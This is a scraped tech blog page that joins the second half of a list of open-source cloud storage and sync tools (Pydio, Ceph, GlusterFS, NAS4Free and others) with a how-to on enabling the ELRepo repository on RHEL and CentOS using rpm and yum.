Earlier known by the name AjaXplorerPydio is a freeware aiming to provide file hosting, sharing and syncing. As a project it was initiated in 2009 by Charles du jeu and since 2010, it is on all NAS equipment’s supplied by LaCie.

Pydio is written in PHP and JavaScript and available for Windows, Mac OS and Linux and additionally for iOS and Android also. With nearly 500,000 downloads on Sourceforge, and acceptance by companies like Red Hat and Oracle, Pydio is one of the very popular Cloud Storage Software in the market.

In itself, Pydio is just a core which runs on a web server and can be accessed through any browser. Its integrated WebDAV interface makes it ideal for online file management and SSL/TLS encryption makes transmission channels encrypted securing the data and ensuring its privacy. Other features which come with this software are: text editor with syntax highlighting, audio and video playback, integration of Amazon, S3, FTP or MySQL Databases, image editor, file or folder sharing even through public URL’s.

Pydio Cloud Storage

Pydio Cloud Storage

 

4. Ceph

Ceph was initially started by Sage Well for his doctoral dissertation, and in fall 2007 he continued on this project full time and expanded the development team. In April 2014 Red Hat brought its development in-house. Till now 8 releases of Ceph have been released latest being Hammer in April 7, 2015. Ceph is a distributed cluster written in C++ and Perl and highly scalable and freely available.

Data can be populated in Ceph as block device, a file or in form Object through RADOS gateway which can present support for Amazon S3 and Openstack Swift API’s. Apart from being secure in terms of data, Scalable and reliable, other features provided by Ceph are:

  1. network file system which aims for high performance and large data storage.
  2. compatibility to VM clients.
  3. allowance of partial/complete reads/ writes.
  4. object level mappings.

Ceph Storage

Ceph Storage

5. Syncany

Released in about an year ago in near March 2014, Syncany is one of the lightest and open source cloud storage and file sharing application. It is currently being actively developed by Philipp C. Heckel and as of today, is available as a command line tool for all supported platforms, but GUI version is under active development.

One of the most important feature about Syncany is that it is a tool and requires you to bring in your own storage, which can be FTP or SFTP storage, WebDAV or Samba Shares, Amazon S3 buckets etc.

Other features which make it an awesome tool to have are: 128-bit AES+Twofish/GCM encryption for all the data leaving the local machine, file sharing support with which you can share your files with your friends, offsite storage as chosen by user instead of provider-based storage, interval-based or on-demand backups, binary compatible file versioning, local deduplication of files. It can be more advantageous for companies who want to use their own storage space rather trusting some providers provided storage.

Syncany Cloud Storage

Syncany Cloud Storage

6. Cozy

Not just a file sharing or synchronization tool or software, Cozy is bundled as a complete package of functions that can help you build your complete App Engine.

Like SyncanyCozy provides flexibility to user in terms of storage space. You can either use your own personal storage or trust Cozy team’s servers. It relies on some open source software’s for its complete functioning which are: CouchDB for Database storage and Whoosh for indexing. It is available for all platforms including smartphones.

Main features which make it a must to have Cloud storage software are: ability to store all the Contacts, Files, Calendar, etc in the Cloud and sync them between laptop and smartphone, provides ability to user to create his own apps and share them with other users by just sharing Git URL of the repository, hosting static websites or HTML5 video game consoles.

As a step further to provide its availability even for cheap hardware’s, Cozy team has introduced Cozy Light which performs well even on cheap hardware’s like: Rasberry Pi, small Digital Ocean VPS etc.

Cozy Cloud Storage

Cozy Cloud Storage

7. GlusterFS

GlusterFS is a network attached file storage system. Initially, started by Gluster Inc., this project is now under Red Hat Inc. After their purchase of Gluster Inc in 2011. Red Hat integrated Gluster FS with their Red Hat Storage Server changing its name to Red Hat Gluster Storage. It is available for platforms including Linux, OS X, NetBSd and OpenSolaris with some of its parts licensed under GPLv3 while others dual licensed under GPLv2. It has been used as a foundation for academic research.

GlusterFs uses a client-server model with servers being deployed as storage bricks. Client can connect to server with custom protocol over TCP/IP, Infiband or SDP and store files to the GlusterFs server. Various functionalities being employed by it over the files are: file-based mirroring and replication, file-based stripping, load balancing, scheduling and disk caching to name a few.

Other very useful feature of it is that it is flexible i.e. data here is stored on native file systems like: xfs, ext4 etc.

GlusterFS Storage

GlusterFS Storage

Read MoreHow to Install GlusterFS in Linux Systems

8. StackSync

StackSync is a Dropbox like tool running on top of OpenStack swift which is specially designed to tackle the needs of organizations to sync their data at one place. It us written in Java and released under GNU General public license v3.

Its framework is composed of three main components: a synchronization server, Openstack swift, desktop & mobile clients. While the server processes metadata and logic, Openstack is focused on storing the metadata while desktop and mobile clients help users sync their data to their personal cloud.

StackSync employs various data optimizations that allow it to scale to cater the needs of thousands of people with efficient use of cloud resources. Its other features are: provision of RESTful API as a Swift module which allows mobile apps and other third party applications to use it to sync data, separation between data and metadata which makes it flexible for deployment based on different configurations, provides both Public configuration which is useful for Public Cloud providers and Private configuration which solves the problems of big organizations aiming for a better cloud storage solution.

StackSync Cloud Storage

StackSync Cloud Storage

9. Git-annex

Git-annex is another file synchronization service developed by Joey Hess, released in October 2010 which also aims to solve file sharing and synchronization problems but independent of any commercial service or central server. It is written in Haskell and available for Linux, Android, OS X and Windows.

Git-annex manages the git repository of the user without storing the session into git again. But instead it stores only the linking to the file in the git repository and manages the files associated to the link at a separate place. It ensures the duplicacy of file which is needed in case recovery of lost information is required.

Further, it ensures availability of file data instantly as and when required which prevents files to present on each system. This reduces a lot of memory overhead. Notably, git-annex is available on various Linux distributions including: Fedora, Ubuntu, Debian etc.

Git-Annex

Git-Annex

10. Yandex.Disk

Yandex.Disk is a cloud storage and synchronization service released in April 2012 and available on all major platforms including: Linux, Windows, OS X, Android, iOS and Windows Phone. It allows users to synchronize data between different devices and share it with others online.

Various features provided by Yandex.Disk to its users are: built-in flash player that lets people preview songs, sharing of files with others by sharing download links, synchronization of files between different devices of same user, unlimited storage, WebDAV support allowing easy management of files by any application supporting WebDAV protocol.

Yandex-Disk

Yandex-Disk

11. Bitcasa

Developed by Bitcasa Inc. Which is a California Based company, Bitcasa is yet another solution for open source Cloud Storage and synchronization available for Windows, OS X, Android and Linux. Not directly an open source software, but it is still a part of Open Source community as it uses those software’s of which many are open sourced like: gcc/clang, libCurl, OpenSSL, APR, Rapid JSON etc.

With main features being file storage, access and sharing other features which make it popular among customers across more than 140 countries worldwide are: its convergent encryption protocol which is mostly safe but with less risks associated with it as reported by an article, provision of secure API’s and white label storage applications for OEM’s, network operators and software developers.

Bitcasa Storage

Bitcasa Storage

12. NAS4Free

NAS is acronym for ‘Network Attached Storage‘ and ‘4Free‘ indicates its free and open source nature. NAS4Free released under this name in March 2012. It is a network attached storage server software with a user interface written in PHP and released under Simplified BSD License. It supports platforms including i386/IA-32 and x86-64.

NAS4Free supports sharing across multiple Operating Systems. It also includes ZFS, disk encryption etc with protocols such as: Samba, CARP, Bridge, FTP, RSYNC, TFTP, NFS. Unlike other software’s, NAS4Free can be installed and operated from USB/ SSD Key, Hard Disk or can even be booted from LiveCD, LiveUSB with small USB key for config storage. NAS4Free has won awards including Project of month (August 2015) and Project of the week (May 2015).

NAS4Free Network Storage

NAS4Free Network Storage

Conclusion

These are some known Open Source Cloud storage and synchronization software’s which have either gained a lot of popularity over the years or have just been able to enter and make their mark in this industry with a long way to go. You can share any software that you or your organization might be using and we will be listing that with this list.

Source

ELRepo – Community Repo for Enterprise Linux (RHEL, CentOS & SL)

If you are using an Enterprise Linux distribution (Red Hat Enterprise Linux or one of its derivatives, such as CentOS or Scientific Linux) and need support for specific or new hardware, you are in the right place.

In this article we will discuss how to enable the ELRepo repository, a software source that includes everything from filesystem drivers to webcam drivers with everything in between (support for graphics, network cards, sound devices, and even new kernels).

Enabling ELRepo in Enterprise Linux

Although ELRepo is a third-party repository, it is well supported by an active community on Freenode (#elrepo) and a mailing list for users.

If you are still apprehensive about adding an independent repository to your software sources, note that the CentOS project lists it as trustworthy in its wiki (see here). If you still have concerns, feel free to ask away in the comments!

It is important to note that ELRepo not only provides support for Enterprise Linux 7, but also for previous versions. Considering that CentOS 5 is reaching its end of life (EOL) at the end of this month (March 2017) that may not seem like a big deal, but keep in mind that CentOS 6 won’t reach its EOL until March 2020.

Regardless of the EL version, you will need to import the repository’s GPG key before actually enabling it:

# rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org

Enable ELRepo in EL5

# rpm -Uvh http://www.elrepo.org/elrepo-release-5-5.el5.elrepo.noarch.rpm

Enable ELRepo in EL6

# rpm -Uvh http://www.elrepo.org/elrepo-release-6-6.el6.elrepo.noarch.rpm

Enable ELRepo in EL7

# rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm

In this article we will only deal with EL7, and share a few examples in the next section.

Understand ELRepo Channels

To better organize the software contained in this repository, ELRepo is divided into 4 separate channels:

    • elrepo is the main channel and is enabled by default. It does not contain packages present in the official distribution.
    • elrepo-extras contains packages that replace some provided by the distribution. It is not enabled by default. To avoid confusion, when a package needs to be installed or updated from this repository, it can be temporarily enabled via yum as follows (replace package with an actual package name):
# yum --enablerepo=elrepo-extras install package
  • elrepo-testing provides packages that will at one point be part of the main channel but are still under testing.
  • elrepo-kernel provides long term and stable mainline kernels that have been specially configured for EL.

Both elrepo-testing and elrepo-kernel are disabled by default and can be enabled as in the case of elrepo-extrasif we need to install or update a package from them.

To list the available packages in each channel, run one of the following commands:

# yum --disablerepo="*" --enablerepo="elrepo" list available
# yum --disablerepo="*" --enablerepo="elrepo-extras" list available
# yum --disablerepo="*" --enablerepo="elrepo-testing" list available
# yum --disablerepo="*" --enablerepo="elrepo-kernel" list available

The following images illustrates the first example:

List ELRepo Available Packages

List ELRepo Available Packages

Summary

In this post we have explained what is ELRepo and what are the circumstances where you may want to add it to your software sources.

If you have any questions or comments about this article, feel free to use the form below to reach us. We look forward to hearing from you!

Source

WP2Social Auto Publish Powered By : XYZScripts.com